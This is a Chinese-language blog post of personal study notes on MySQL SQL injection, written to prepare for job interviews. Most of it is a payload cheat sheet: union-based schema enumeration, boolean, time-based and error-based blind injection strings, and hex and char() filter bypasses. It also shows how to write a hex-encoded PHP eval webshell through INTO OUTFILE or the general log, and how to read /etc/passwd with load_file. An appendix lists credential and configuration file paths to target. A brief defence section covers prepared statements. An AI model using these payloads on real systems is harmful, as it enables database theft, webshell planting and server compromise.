本文最后更新于:星期二, 六月 16日 2020, 3:18 下午

最近复习准备面试,复习到SQL注入这一块,把平时遇到的SQL注入做一些总结归纳,做些笔记(要不老是容易忘,以后可以当做参考

而且自己fuzz什么的还是比较菜,得好好学习

持续更新

什么是SQL注入?

SQL注入指将恶意的SQL命令插入到开发者设置的SQL语句中,违背了SQL语句原本的意图,达到执行恶意SQL命令的目的。SQL注入一般发生在开发者没有对用户的输入数据进行严格的限制/转义,致使用户在输入一些特定的字符时,在与后端设定的SQL语句拼接时产生了歧义,使得用户可以控制该条SQL语句与数据库进行通信。

SQL注入分类

  1. 按变量类型分类:

    • 数字型
    • 字符型
  2. 按SQL语句提交方式分类:

    • GET注入
    • POST注入
    • Cookie注入
    • Session注入
  3. 按注入方式分类:

    • 有回显:

      • 联合爆破查询注入(union select)
      • 堆叠注入
    • 无回显:

      • 报错注入
      • 时间盲注
      • 布尔盲注

SQL常见语句格式

SQL语句的四大类,也是web应用中常用到的就是:增、删、查、改

  1. 增:INSERT INTO <table_name>(<column_name>, ...) VALUES(<value>, ...)
  2. 删:DELETE FROM <table_name> WHERE <condition>
  3. 查:SELECT <column>[, <expression>] FROM <table_name> WHERE <condition>
  4. 改:UPDATE <table_name> SET <column_name>=<expression>[, <column_name>=<expression>] WHERE <condition>

SQL注入一般发生在查询语句中,因为Web应用与数据库的交互一般是以查询实现的。

常见注入方法详解

联合爆破查询注入

联合查询注入发生在你输入的参数被直接拼接在WHERE语句之后时,例如:

$conn = mysqli_connect($host, $user, $passwd, $db)
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "select * from users where username='".$username."' and password='".$password."';";
$res = mysqli_query($conn, $sql)

此时如果单引号、union、select 都没有被过滤,我们就可以使用联合爆破查询来进行SQL注入,步骤如下:

  1. 使用order by/group by语句确定字段数量

    (确定字段数量的原因:union select要求两个查询字段数相同)

    通过往SQL语句后面拼接order by/group by语句,可以确定字段数量,若拼接的数字大于字段数量,则页面出现显示错误/或回显,若小于或等于字段数量,则回显正常。(因为order by/group by的语义是以哪一列作为标准排序/聚合,当指定到不存在的列数时,则会出现错误)

    payload:' or 1=1 order by 1#

  2. 判断页面会将字段中的哪一列作为数据回显

    Web应用可能只将字段中的某一列作为结果回显,所以需要做一下判断。使用union select 1,2,3,...将我们输入的数字显示在页面上,可以很快的找到页面上显示的是哪一个字段

  3. 在有回显的字段上使用子查询来获取数据库相关信息

    相关的信息函数包括:

    • 数据库名:database()

    • 数据库版本号:version()

    • 数据库账户:user()

    • 操作系统:@@version_compile_os

    随后再根据不同的数据库版本使用不同的联合爆破查询策略。

MySQL version() >= 5.0

若MySQL的版本大于5.0,则MySQL中有一个很方便的系统库information_schema,其中存放着数据库名、表名、列名、用户等一系列信息。

其中有三个比较重要的表:

  • information_schema.schemata:存放着所有数据库的信息
  • information_schema.tables:存放着所有数据表的信息
  • information_schema.columns:存放着所有列的信息

其中,information_schema.tablesinformation_schema.columns的结构如下:

  1. 可以先查询所有数据库的名称(如果需要跨数据库的话)

    union select 1, 2, schema_name from information_schema.schemata

  2. 首先查询当前数据库中所有的表名

    union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema=database()

    其中group_concat()可以将多行数据转化为一行

  3. 利用查询到的表名查询感兴趣的表中的列名

    union select 1, 2, group_concat(column_name) from information_schema.columns where table_name='<table_name>'

  4. 知道了数据库、数据表、字段名,则直接进行联合查询即可

    union select 1,2,group_concat(<column_name>) from [<schema_name>.]<table_name>

MySQL version() < 5.0

MySQL小于5.0的版本就没有了information_schema这个系统数据库,所以通常情况下我们无法查询得到表名,字段名等信息,这个时候就只能靠猜了- -

布尔盲注

布尔盲注使用的条件是:页面对于SQL语句的返回结果不予以显示,并且对于真条件(true)和假条件(false)的返回内容存在差异

我们可以使用永真条件(or 1=1)和永假条件(and 1=2)来判断页面返回的内容是否存在差异,从而确定是否可以使用布尔盲注

比如在Web应用的登录功能,使用如下语句判断用户是否存在:

select * from users where username=$username

当用户不存在时,返回用户名不存在,存在时提示密码错误,这样页面返回的内容存在差异,可以使用布尔盲注。

使用如下payload:' or length(database())>5

如果页面返回正常,说明数据库名的长度确实大于5

当服务端还会判断取出的数据仅有几列时,需要使用到limit字句来限制查询到的数据量,例如

select * from users where username='' or length(database())>5 limit 0,1

该语句的意思是查询结果只取从第0行开始的一行,即第0行本身(MySQL计算行数从0开始),若需要取两行则使用limit 0,2

常用函数

  1. 判断字段、表名、数据库名长度
    • length():用于判断字符串长度,使用方法:length(database()>5)
  2. 字符串截取
    • substring(str, pos[, len]):用于截取字符串,可用于爆破字段名等…。注意MySQL的截取是从1开始计算的,例如:substring('hahaha',3)=='haha'
    • substr():等价于substring()
    • mid():等价于substring()
    • left(str, length):顾名思义,从最左端截取length长度的字符串
    • right(str, length):顾名思义,从最右端截取length长度的字符串
    • substring_index(str, delim, count):截取str中第countdelim之前的所有字符
  3. 判断字符
    • ascii(str):返回字符串str的最左面字符的ASCII代码值,常用于逐字拆解,可以结合二分法使用,使用方式:ascii(substr(database(),1,1))<130
    • ord(str):与ascii()类似
  4. 条件判断
    • if(a, b, c)a为条件,若atrue,则返回b,否则返回c,使用方法:if(1>2,1,0),返回0
  5. 判断查询结果是否存在
    • exists(condition):该语句中的条件语句可以返回记录行时,条件就为真

时间盲注

时间盲注的条件比布尔盲注更加宽松,它不需要页面有任何的回显,它通过判断页面返回内容的响应时间差异进行条件判断

通常我们利用可以产生时间延迟的函数来进行时间盲注,例如:sleep()benchmark()、以及许多进行复杂运算的函数(笛卡尔积合并数据表、GET_LOCK双SESSION产生延迟等方法),下面是一个简单的例子

select * from users where username='' or if(length(database())>5,sleep(4),1)

在上面的例子里,如果数据库名长度大于5,服务器则会延迟4s给出结果,否则无延迟直接返回sleep()延迟的时间可以自行决定,原则上只要满足易于区分,并兼顾效率即可)

常用函数

  • sleep(time):使结果延迟time秒返回

  • benchmark(count, expr):该函数会重复计算expr表达式count次,这个表达式返回的值为0,但是可以用这个函数来起到延时的效果,使用方式:if(length(database())>5,benchmark(10000000,SHA(1)),1)benchmark(10000000,SHA(1))执行时间大概为4s,取决于服务器,可以自行测试,适当调整

  • 笛卡尔积:例如,select count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C,MySQL会将A、B、C三个表进行笛卡尔积之后再执行count(*),大量的笛卡尔积会耗费很多时间(但是时延不可控,对大站可能会有很高的延迟)

  • get_lock(str, timeout):这个函数需要有两个session同时包含一个变量,当我们第一个session锁定了str变量,第二个session再尝试包含次变量是就会有timeout秒的延时(使用条件比较苛刻,而且要求Web应用支持SQL的长连接,比如Apache+PHP中的mysql_pconnect()

  • RLIKE:正则匹配,正则匹配在匹配较长字符串但自由度比较高的字符串时,会造成比较大的计算量,我们通过rpadrepeat构造长字符串,加以计算量大的pattern,通过控制字符串长度我们可以控制延时。
    例如:

    mysql> select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');
    +-------------------------------------------------------------+
    | rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b') |
    +-------------------------------------------------------------+
    |                                                           0 |
    +-------------------------------------------------------------+
    1 row in set (5.22 sec)

报错注入

报错注入的使用条件是:服务器开启报错信息返回,也就是发生错误时返回报错信息。

我们可以利用特殊函数的错误使用使其参数被页面输出,常用的函数有:exp()、floor()+rand()、updatexml()、extractvalue()

常用函数

  • exp():该函数是计算以e为底的指数函数,在MySQL中当里面的参数大于709时就会报错,使用方法:select exp(~(select * from(select database())x)),但是高版本已经修复了这个漏洞
  • floor()+rand():也就是我们常说的双查询注入,使用方法:select count(*), concat((select version()), floor(rand()*2))as a from information_schema.tables group by a;这样可以查询到version()的值
  • updatexml(xml_document, xpath_string, new_value):当updatexml()的第二个参数不符合xpath格式时,就会报错并进行输出,使用方法:select * from users where username=$username or updatexml(1,concat(0x7e,(select user()),0x7e),1),这是通过在user()的结果前后加上~使其不满足xpath格式,从而输出的
  • extractvalue(xml_document, path):第二个参数是xml文档的路径,查询不到也不会报错,但是必须满足/xxx/xxx/xxx的格式,否则会报错,使用方法:select * from users where username=$username or extractvalue(1, concat(0x7e,(select database()))),这样报错就会输出~databese()的值

SQL注入防御

SQL语句预编译+绑定变量

使用SQL语句预编译,例如SQL语句select id,username from user where id=?预先编译好,那么SQL引擎会预先进行语法分析,产生语法树,生成执行计划,那么无论后面输入的参数是什么,都不会影响该SQL语句的语法结构(SQL语句的执行需要通过语法分析,但既然语法分析已经执行完毕,后面无论输入什么参数都不会被作为SQL命令执行)

正则表达式或转义(严格检查输入参数)

使用正则表达式,严格限制输入参数不可以含有类似大于号,单引号,等于号,等等这些特殊符号。有一些编程语言会提供转义特殊字符的函数,比如PHP的mysql_real_escape_string()

SQL注入的相关Bypass以及Trick

绕过关键词检测

  1. 使用16进制对字符串进行编码

    set @a=0x73656C65637420646174616261736528293B;  # @a='select database();'
    prepare diaossama from @a;
    execute diaossama;
  2. 使用char()函数转换字符串

    select char(116,101,115,116);  # test

仅知道表名而不知道字段名

可以使用以下payload绕过字段名:

  • 表中仅单字段:select *,1,2 from <table_name>
  • 表中有多字段:select `1` from (select 1,2,3,4 from <table_name> union select * from <table_name>)a(这样操作可以获取表中的第一列信息)

Cast()盲注

来源于ichunqiu新春公益赛的Ezsqli题,贴一个出题师傅的出题思路:https://www.smi1e.top/新春战疫公益赛-ezsqli-出题小记/

PDO场景下的注入

利用MySQL写入文件

select … into outfile/ into dumpfile

该语句的语法如下

select 123 into outfile '/tmp/test.txt'

一般我们使用into outfile快速写入一句话后门时经常会使用的一种写法是(into dumpfile 同理)

update mysql.user set file_priv='Y' where user='root';
flush privilleges;
select concat("",0x3C3F70687020406576616C28245F504F53545B2778275D293B3F3E) into outfile '.test.php';
update mysql.user set file_priv='N' where user='root';
flush privilleges;

secure_file_priv

但有时候我们在写入时可能会遇到报错The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

MySQL的新特性secure_file_priv会对读写文件造成影响,我们可以用以下命令来读取配置项:show variables like "secure_file_priv"

  1. 当该变量的值为NULL时,表示MySQL不允许导入导出(也就是说load_data()以及load data infile ... into table ...也不可以使用了)
  2. 当该变量的值为某一路径时,表示MySQL的导入和导出被限制在那个路径下
  3. 如果该变量无值,则说明无限制

利用日志写入

secure_file_privNULL的情况下,我们是没有办法在MySQL中进行导入导出的,但是可以利用日志来进行shell的写入

可以先看看log的位置,show variables like 'general_log%'

那么使用日志写入shell的方式如下

  1. 开启日志记录:set global general_log='on'
  2. 将日志文件导出到指定目录:set global general_log_file='xxxxx.php'
  3. 最后执行select语句,例如:select '<?php eval($POST["diaossama"]);?>'

这样我们执行该语句的过程就会被记录到日志中去

....
50 Query select '<?php eval($POST["diaossama"]);?>'
....

成功写入一句话木马

利用MySQL读取文件

load_file(‘path’)

使用方式

select load_file('/etc/passwd');
select load_file(0x2F6574632F706173737764);

防止文件中有非法字符,可以先将其编码

select hex(load_file('/etc/passwd'));

Rogue-MySQL-Server

https://www.cnblogs.com/BOHB-yunying/p/10820453.html

https://blog.csdn.net/ls1120704214/article/details/88174003

伪造一个恶意的MySQL Server,利用load data infile这一语句的漏洞实现客户端任意文件读取。该语句的功能是:读取一个文件内容并插入到表中

load data infile语句读取客户端文件的语法如下:

load data local infile "/tmp/test.csv" into table test

这一语句发送执行后,客户端和服务端正常的执行流程如下:

  1. Client:我把我本地/tmp/test.csv的内容插入到 test 表中去
  2. Server:请把你本地/tmp/test.csv的内容发送给我
  3. Client:好的,这是我本地/tmp/test.csv的内容
  4. Server:成功/失败

正常情况下这个流程是没问题的,但问题在于客户端并不知道自己的上一条命令具体发送了什么,所以客户端第二次要发送什么文件完全取决于服务端,那我们只需要构造一个恶意的服务端,就可以非法拿到服务器上的任意文件

payload:https://github.com/allyshka/Rogue-MySql-Server

UDF提权

附录

一些常用路径

windows

#查看系统版本
    c:/boot.ini
#php配置信息
    c:/windows/php.ini
#MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
    c:/windows/my.ini
    c:/winnt/php.ini
    c:/winnt/my.ini
#存储了mysql.user表中的数据库连接密码
    c:\mysql\data\mysql\user.MYD 
#存储了虚拟主机网站路径和密码
    c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini 
    c:\Program Files\Serv-U\ServUDaemon.ini
#查看IIS的虚拟主机配置
    c:\windows\system32\inetsrv\MetaBase.xml 
#存储了WINDOWS系统初次安装的密码
    c:\windows\repair\sam 
#6.0版本以前的serv-u管理员密码存储于此
    c:\Program Files\ Serv-U\ServUAdmin.exe 
    c:\Program Files\RhinoSoft.com\ServUDaemon.exe
#存储了pcAnywhere的登陆密码
    C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
#查看WINDOWS系统apache文件
    c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf
#查看jsp开发的网站 resin文件配置信息.
    c:/Resin-3.0.14/conf/resin.conf 
#查看linux系统配置的JSP虚拟主机
    c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 
    d:\APACHE\Apache2\conf\httpd.conf
    C:\Program Files\mysql\my.ini
#存在MYSQL系统中的用户密码
    C:\mysql\data\mysql\user.MYD

Linux

#apache2缺省配置文件
    /usr/local/app/apache2/conf/httpd.conf 
    /usr/local/apache2/conf/httpd.conf
#虚拟网站设置
    /usr/local/app/apache2/conf/extra/httpd-vhosts.conf 
#PHP相关设置
    /usr/local/app/php5/lib/php.ini 
#从中得到防火墙规则策略
    /etc/sysconfig/iptables 
#apache配置文件
    /etc/httpd/conf/httpd.conf
#同步程序配置文件
    /etc/rsyncd.conf 
#mysql的配置文件
    /etc/my.cnf 
#系统版本
    /etc/redhat-release 
    /etc/issue
    /etc/issue.net
#PHP相关设置
    /usr/local/app/php5/lib/php.ini
#虚拟网站设置
    /usr/local/app/apache2/conf/extra/httpd-vhosts.conf 
#查看linux APACHE虚拟主机配置文件
    /etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 
#针对3.0.22的RESIN配置文件查看
    /usr/local/resin-3.0.22/conf/resin.conf
    /usr/local/resin-pro-3.0.22/conf/resin.conf 
#APASHE虚拟主机查看
    /usr/local/app/apache2/conf/extra/httpd-vhosts.conf 
#查看linux APACHE虚拟主机配置文件
    /etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 
#针对3.0.22的RESIN配置文件查看
    /usr/local/resin-3.0.22/conf/resin.conf 
    /usr/local/resin-pro-3.0.22/conf/resin.conf
#APASHE虚拟主机查看
    /usr/local/app/apache2/conf/extra/httpd-vhosts.conf